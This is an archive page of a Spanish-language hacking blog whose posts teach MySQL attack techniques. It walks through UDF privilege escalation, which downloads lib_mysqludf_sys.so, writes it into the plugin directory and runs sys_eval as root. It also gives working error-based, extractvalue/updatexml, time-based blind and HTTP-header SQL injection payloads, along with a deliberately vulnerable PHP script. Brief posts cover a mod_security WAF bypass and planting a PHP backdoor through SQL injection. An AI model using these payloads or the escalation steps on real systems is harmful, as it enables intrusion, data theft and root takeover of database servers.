Nuevas Entradas
Mostrando entradas con la etiqueta SQLI. Mostrar todas las entradas
Mostrando entradas con la etiqueta SQLI. Mostrar todas las entradas

Mysql UDF Injection

by [Q]3rv[0]
Una linda manera de elevar privilegios en un sistema comprometido es aprovechando los permisos con los que corren ciertos demonios en el sistema como el servidor mysql.

Una de las formas de elevar privilegios es añadir funciones a Mysql y para eso nos valemos de la interface UDF (funciones definidas por el usuario) para esto habra que contar con la libreria necesaria apartir de la cual seran llamadas.

Teniendo los privilegios necesarios podremos crear ciertas funciones como sys_eval() la cual nos permitiran ejecutar comandos como usuario root desde la propia db.

Ante todo debemos asegurarnos de que la base de datos corre con superprivilegios, miremos el fichero de configuracion en /etc/mysql/my.cnf

# * Basic Settings
#
user        = root
pid-file    = /var/run/mysqld/mysqld.pid
socket        = /var/run/mysqld/mysqld.sock
port        = 3306
basedir        = /usr
datadir        = /var/lib/mysql
tmpdir        = /tmp
language    = /usr/share/mysql/english


Descargamos la libreria lib_mysqludf_sys.so dentro del directorio /tmp

wget https://github.com/mysqludf/lib_mysqludf_sys/raw/master/lib_mysqludf_sys.so


Conectamos con las credenciales obtenidas a la base de datos

mysql -u "user" -p"password" database


Creamos la table code

CREATE TABLE code (codigo blob);


Presten atencion al tipo de campo "blob" este sirve para almacenar datos binarios entre otros, esto hara que al momento de volcar el fichero no se produzca un cambio de ciertos caracteres que puedan llegar a generar un error cuando la libreria sea llamada.

Insertaremos la libreria en la tabla code

INSERT INTO code VALUES(load_file('/tmp/lib_mysqludf_sys.so'));


Dumpeamos los datos en /usr/lib/mysql/plugin/ que es el directorio desde donde el servidor cargara las librerias.

SELECT * FROM code INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';


Por ultimo creamos la funcion sys_eval()

CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';


Llamamos a  dicha función

select sys_eval('id');

+-----------------------------------------+
| sys_eval('id')                          |
+-----------------------------------------+
| uid=0(root) gid=0(root) groups=0(root)  |
|                                         |
+-----------------------------------------+


Les dejo un video demostrativo que realice en un entorno controlado


Saludos!

Destripando la logica de una SQLI Error Based

by [Q]3rv[0]
Comenzamos desde lo basico, explicando por que un script vulnerable debe ser explotado de esta manera y no de otra.

 Acontinuación el código que se puede apreciar es vulnerable a sql injection.

<?php
include("conex.php");
$id=$_GET['id'];
$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";
$query=mysql_query($consulta, $conexion);
$query2=mysql_query($consulta2, $conexion);
$dumpeo2=mysql_fetch_array($query2);
$dumpeo=mysql_fetch_array($query);
if (isset($_GET['id'])) {
    if (!$dumpeo) {
        echo mysql_error();
}
    elseif (!$dumpeo2) {
        echo mysql_error();
}
    else {
        echo "<b>Nick: ".$dumpeo['username']."</b><p>";
        echo "<b>Blog: ".$dumpeo2['blog']."</b><p>";
}
}
?>

Como podemos ver al buscar la cantidad de columnas que esta seleccionando la consulta nos responde con el siguiente mensaje.


Esto se debe a que el parametro id esta siendo usado en dos consultas diferentes seleccionando ambas distinto numero de columnas

$consulta2="SELECT id, blog FROM blogs WHERE id=".$id.";";
$consulta="SELECT username FROM users WHERE id=".$id.";";


Por lo tanto nunca vamos a dar con la cantidad justa, es por eso que hay que recurrir a otro metodo.
La siguiente consulta devela a través del error de "entrada duplicada", el usuario que corre en la base de datos.

http://localhost/mysqli-lab/2.php?id=1 union select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--


Pero que es una entrada dulpicada, por que se produce? Miremos el siguiente error: Duplicate entry 'root@localhost0' for key 'group_key'

Nos centraremos en group_key o llave de grupo, el error se debe a que se hayo un mismo valor en la llave de grupo.

Antes que nada entendamos el termino de subquery.
Las subconsultas nos permiten optimizar tareas en la base de datos, un ejemplo sencillo, supongamos que queremos seleccionar campos de dos tablas distintas, por un lado tenemos la tabla users y por otro la tabla blogs, para obtener los datos en una sola sentencias seria de la siguiente manera:

Obviamente son usadas para realizar tareas mas elaboradas, como comparaciones entre distintos datos, etc

mysql> select username,(select blog from blogs limit 0,1)blog from users limit 0,1; 

+---------------+-------------------------------------+
| username      | blog                                |
|+--------------+-------------------------------------+
|    q3rv0      | http://securitysignal.tk            |
+---------------+-------------------------------------+

1 row in set (0.00 sec)[/code]

Llamemos al vector para volverlo a analizar

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--

Para lograr un mayor entendimiento y comprensión hay que ir hasta el zotano, por eso vamos a realizar análisis desde la propia db.
Les propongo que dividamos la doble consulta, y expongamos la primera.

select count(*) from information_schema.tables group by concat(user(),floor(rand()*2)) limit 0,1;

Por logica quedaria asi, por que? Primero explicare un par de conceptos:

floor(rand()*2) : generara dos resultados "0" o "1" de manera aleatoria porque?.

mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)
mysql> select floor(rand()*2);

+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)
la funcion rand() nos generara un valor aleatorio entre 0 y 0.xxxxxx

mysql> select rand();

+--------------------+
| rand()             |
+--------------------+
| 0.8679424085355759 |
+--------------------+
1 row in set (0.00 sec)

Si multiplicamos por  2 esos valores generara un resultado diferente, esta vez entre 0 y 1.xxxx

mysql> select rand()*2;

+-------------------+
| rand()*2          |
+-------------------+
| 0.947171253102991 |
+-------------------+
1 row in set (0.00 sec)

mysql> select rand()*2;

+--------------------+
| rand()*2           |
+--------------------+
| 1.5282018757687899 |
+--------------------+
1 row in set (0.00 sec)
floor() toma un numero flotante y lo presenta como entero, es decir si le pasamos el siguiente numero generado por rand().

mysql> select floor(1.5282018757687899);

+---------------------------+
| floor(1.5282018757687899) |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)
Da como resultado 1

mysql> select floor(0.947171253102991);

+--------------------------+
| floor(0.947171253102991) |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)


Da como resultado 0 La magia del floor(rand()*2) no se basa en que de como resultado unicamente 1 o 0, se basa en que nos provea de dos resultados diferentes y que se repitan si es posible, daría lo mismo que diera 4 o 5.

Ahora extraeremos una parte del primer vector para realizar otro análisis

select count(*),concat(user(),floor(rand()*2))x from information_schema.tables group by x limit 0,1--

Esa x al final de la subconsulta, bien podría ser cualquier letra como p,c,f,c actua como puntero del resultado de esa sentencia y es usado por "group by" para agrupar la salida según el resultado:

mysql> select concat(version(),floor(rand()*2))x;

+-----------+
| x         |
+-----------+
| 5.5.28-11 |
+-----------+
1 row in set (0.00 sec)
mysql> select concat(version(),floor(rand()*2))x;

+-----------+
| x         |
+-----------+
| 5.5.28-10 |
+-----------+
1 row in set (0.00 sec)

Entonces seria los mismo realizarla asi.

mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand()*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost0' for key 'group_key'

Pero si intentamos tirar este vector por el parametro "id" seguiremos obteniendo el mensaje

"The used SELECT statements have a different number of columns"

ya que requerimos de dos consultas por que el id hace referencia a ese numero como ya lo vimos en el codigo del script.

Bien hasta esta linea ya hemos entendido varios puntos claves en el funcionamiento del vector y vamos comprendiendo paso a paso el porque...

Segun las pruebas floor(rand()*2) genera dos valores aleatorios "0" o "1" group by aprovecha ese dato para realizar la agrupacion, el cual es fundamental ya que utilizaremos el error de entrada duplicada de la group_key para obtener la informacion.

Sabemos hasta ahora que al repetirse los valores generados por floor(rand()*2) se produce el "duplicate entry" en la group_key, por lo tanto nos tirar el valor que se duplica.

Si lo hicieramos sin user() obtendriamos.

mysql> select count(*) from information_schema.tables group by floor(rand()*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

Pero para obtener el nombre de usuario, la funcion user() se concatena con floor(rand()*2) para que sea disparado como valor duplicado, hay es donde toma protagonismo la subquery!.

Ejecutemos ahora el vector completo.

mysql> select count(*),concat(user(),floor(rand()*2))z from information_schema.tables group by z;

+----------+-----------------+
| count(*) | z               |
+----------+-----------------+
|      123 | root@localhost0 | -> floor(rand()*2)=0
|       75 | root@localhost1 | -> floor(rand()*2)=1
+----------+-----------------+
2 rows in set (0.00 sec)

Vemos que cuando no tira el error, ordena en dos grupos la cantidad de registros en la tabla (tables) obtenidos por count(*), si la tabla tuviera un solo registro seria imposible reproducir la entrada duplicada, se podria usar cualquier otra tabla ademas de tables.

Y una vez que el valor del orden del grupo se repite, BAM!

Espero que se haya comprendido, esta fue la manera mediante la cual logre asimilarlo realmente, realizando análisis en el mismo servidor, cualquier consulta, duda o error comenten!

Saludos!

SQLI Error Based extractvalue() & updatexml()

by [Q]3rv[0]

Quien conozca de inyecciones sabe bien que para explotar una Mysqli error based es necesario utilizar las funciones floor() y rand() .

Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar, además de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que había publicado en el 2009 (bastante viejita ya), encontré una forma de explotar un error based de una manera que llamo poderosamente mi atención.

La función extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena: <b>q3rv0</b>

Si quisiéramos extraer la palabra q3rv0 lo realizaríamos de la siguiente manera.


La manera de aprovechar esta función para que nos devuelva información es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.


Como vemos nos arroja el error, además del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.


Como podemos llevarla acabo mediante una inyección?

De la siguiente manera.



 

Mysqli EB con updatexml()


Para este tipo de metodo utilizaremos la funcion llamada updatexml().
Dicha función sirve para actualizar un elemento xml por otro.

Tenemos el siguiente codigo.

La sintaxis de updatexml() es la siguiente:



Entonces si quisieramos actualizar la porcion de codigo:


y cambiarlo por:


Lo hariamos de la siguiente manera.


Entonces para generar un error en la función podemos reemplazar el xpath_expr por nuestra consulta deseada concatenada para evitar cortes en la respuesta.


Referencia: http://devteev.blogspot.com.ar/2009/10/advanced-sql-injection-lab-full-pack.html


Saludos!

Blind Mysqli Time Based [Teoria]


by [Q]3rV[0]

Mientras "auditaba" una web, lo digo entre comillas por que no me dedico a eso en lo laboral, me encontré con una intrépida variante de SQL Injection descartando las demás posibilidades a través de las respuestas que generaba el servidor, note que se trataba de una:

"Blind Sqli basada en tiempo"

Paso a explicar a quienes no se encuentren familiarizados con este tipo de inyección.

Basicamente una "Blind mysqli basada en tiempo" se trata de inyectar a ciegas como toda blind, en mi caso utilizando la técnica de busqueda binaria (la mas comunmente utilizada en estas situaciones) pero se da cuando la aplicación muestra el mismo mensaje TRUE OR FALSE, es decir que da los mismo inyectar
un:

OR 1=1 que un OR 2+5/87=9999999999

el sitio web nos seguira mostrando el mismo mensaje de error, o puede deberse a realizar una carga incorrecta del contenido web, o cualquier otra variación en el sitio, da lo mismo, la aplicación resulta vulnerable pero no podremos deducir cual es la inyección correcta.

Para estas situaciones, podemos hacer uso de la función sleep() y la estructura condicional if(), ahora paso a explicar la sintaxis de cada una de estas.

La sintaxis de if es la siguiente:

if(<condicion>,<si la condicion se cumple>,<si la condicion no se cumple>)

Por ejemplo:


sleep() se utiliza para producir una pausa de tantos segundos, vamos a combinarlo con if() e imponerlo si la condicion no se cumple.


Como vemos la condición dio como resultado falsa y se le introdujo un retardo de 3 seg ante dicha respuesta.

ahora se pueden imaginar el resultado del vector al combinar ambas funciones con una blind sqli??

No se trata de nada rebuscado, solo hay que utilizar como condición el vector sqli para dicha inyección por ejemplo:

Empecemos desde cero, supongamos que encontraron una web vulnerable que da con el perfil de este tipo de inyección y queremos verificar que en realidad se trata de esta, comenzariamos por introcir el siguiente vector en el parametro devil.

http://vuln-bsqli-based-time/?devil=5 or 1=if(1=1,sleep(5),0)--   > 5 segundos(TRUE)
http://vuln-bsqli-based-time/?devil=5 or 1=if(1=9999,sleep(5),0)--  > FALSE

Ahora ya nos damos una idea de como inyectar en la aplicacion comenzando por obtener el listado de las tablas en la base de datos, normalmente en una blind sqli seria de la siguiente manera:

http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15-- TRUEhttp://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50-- TRUE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100-- FALSE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68-- FALSE
http://vuln-bsqli/?devil=5 or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67-- TRUE

Veamos como queda armado el vector haciendo uso de nuestro amigo "el tiempo":


http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>15,sleep(5),0)-- TRUE 5 segundos
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>50,sleep(5),0)-- TRUE 5 segundos
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>100,sleep(5),0)-- FALSE
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>68,sleep(5),0)-- FALSE
http://vuln-bsqli-based-time/?devil=5 or 1=if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=67,sleep(5),0)-- TRUE 5 segundos
Sencillo, lo unico que tiene de rebuscado esta tecnica es mantener la paciencia mientras se lleva a cabo la inyección manualmente.

Saludos!

SQL Inyection a traves de cabeceras HTTP


by [Q]3rv[0]

Cuando realizamos pruebas de variables en una aplicacion web en busca de vulnerabilidades del tipo SQLI o Blind SQLI nos limitamos a testearla solo mediante peticiones GET y POST pero nos olvidamos o desconocemos de otros parametros que pueden ser inyectados para obtener un lindo error de la DB que nos permita meterle jeringa hasta sacarle jugo a  toda la información posible.

¿Y los parametros de una cabecera HTTP? ¿no son inyectables?


Este es un analisis que se realizo usando varios scaneres de aplicaciones web de codigo abierto y comerciales, como se puede distinguir, el 75%  de estas herramientas no pudo encontrar una vulnerabilidad en los encabezados HTTP, por otro lado el 70% de estos scaneres no inspecciona las cookies. Generalmente y si no me queda mas que indagar en las cabeceras trato de buscar este tipo de vulns a mano limpia, como deberia hacerse con todo :)

Posibles encabezados HTTP para inyecciones SQL

Los campos de la cabecera HTTP


X-Forwarded-For

X-Forwarded-For es un campo de encabezado HTTP para la identificación de la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga.

Vamos a ver un ejemplo de esta falla

$req = mysql_query("SELECT user,password FROM admins WHERE 
user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");

La variable login es controlada por la funcion sanitize()

function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } } 


Vamos a inspeccionar la variable ip controlada por la funcion ip_addr()

function ip_adr() { if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
$ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = 
$_SERVER["REMOTE_ADDR"]; } if 
(preg_match("#^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#",$ip_addr))
{ return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } 

Obviamente, la dirección IP se obtiene del parametro X_FORWARDED_FOR. Luego es controlado por preg_match que verifica si el valor corresponde a una dirección IP

la variable HTTP_X_FORWARDED_FOR  no es verificada apropiadamente antes de su valor que se utiliza en la consulta SQL. Esto puede llevar a ejecutar cualquier consulta SQL mediante la inyección de código SQL arbitrario en este campo.

La simple modificación de este campo de encabezado a algo así como :}

GET /index.php HTTP/1.1
X_FORWARDED_FOR :127.0.0.1' or 1=1#
 
User-Agent: 

Tambien podemos hacer uso de este parametro para verificar

GET /index.php HTTP/1.1
User-Agent: aaa' or 1/*
Referer:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
Referer: http://underterminal.nixiweb.com [/code]

Cookie

Podemos testear el parametro cookie manualmente complementando algun addon en el navegador que nos permita hacer esto, como Cookies Manager+ o el Tamper Data, asi inyectamos una sqli en el campo content.




O usando alguna herramienta de automatizacion como Sqlmap


Espero que les haya servido! saludos!

SQLI+Mod_Security Bypass



Indagando en busca de vulnerabilidades, me cruzo con un input mal validado el cual esta siendo filtrado por un WAF, posiblemente Mod_security, bastante mal configurado, en el video se puede ver como realize una simple evacion de este a travez de /*!*/ y funciones como unhex(), hex() espero que lo disfruten!

Mod_Security-BYPASS from [Q]3rV[0] on Vimeo.

Tecnicas De Blind Mysql Injection



Hola como estan todos!? este es un nuevo pdf en el que pretendo desarrollar de manera sencilla y entendible dos tecnicas de inyeccion a ciegas en el gestor de base de datos Mysql, por un lado me gustaria comenzar a hacer un corto repaso de la tecnica “binary search” que es comunmente las mas usada y conocida para realizar este tipo de ataques, despues pasar a lo que es el metodo “Bit Shifting” y por ultimo culminar con otro metodo que hace uso de la funcion FIND_IN_SET().
 
Disfruten el documento :)

Backdoor via Inyeccion


Cuando se trata de vulnerabilidades de inyeccion de codigo tengo que decir que me encanta, hoy le traigo una manera de conseguir un backdoor en el servidor a travez de una de estas. hay veces que se logra realizar inyecciones de manera satisfactoria dumpeando datos de passwords en texto plano o encriptadas, pero si el panel del administrador esta desabilitado, no se logra romper el hash o cualquier situacion negativa que haga que esa informacion no sirva para nada, entonces que hacemos?
Aca dejo un documento que escribi en la tarde, donde se muestra como inyectar codigo php remotamente, a travez de una sqli.

 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates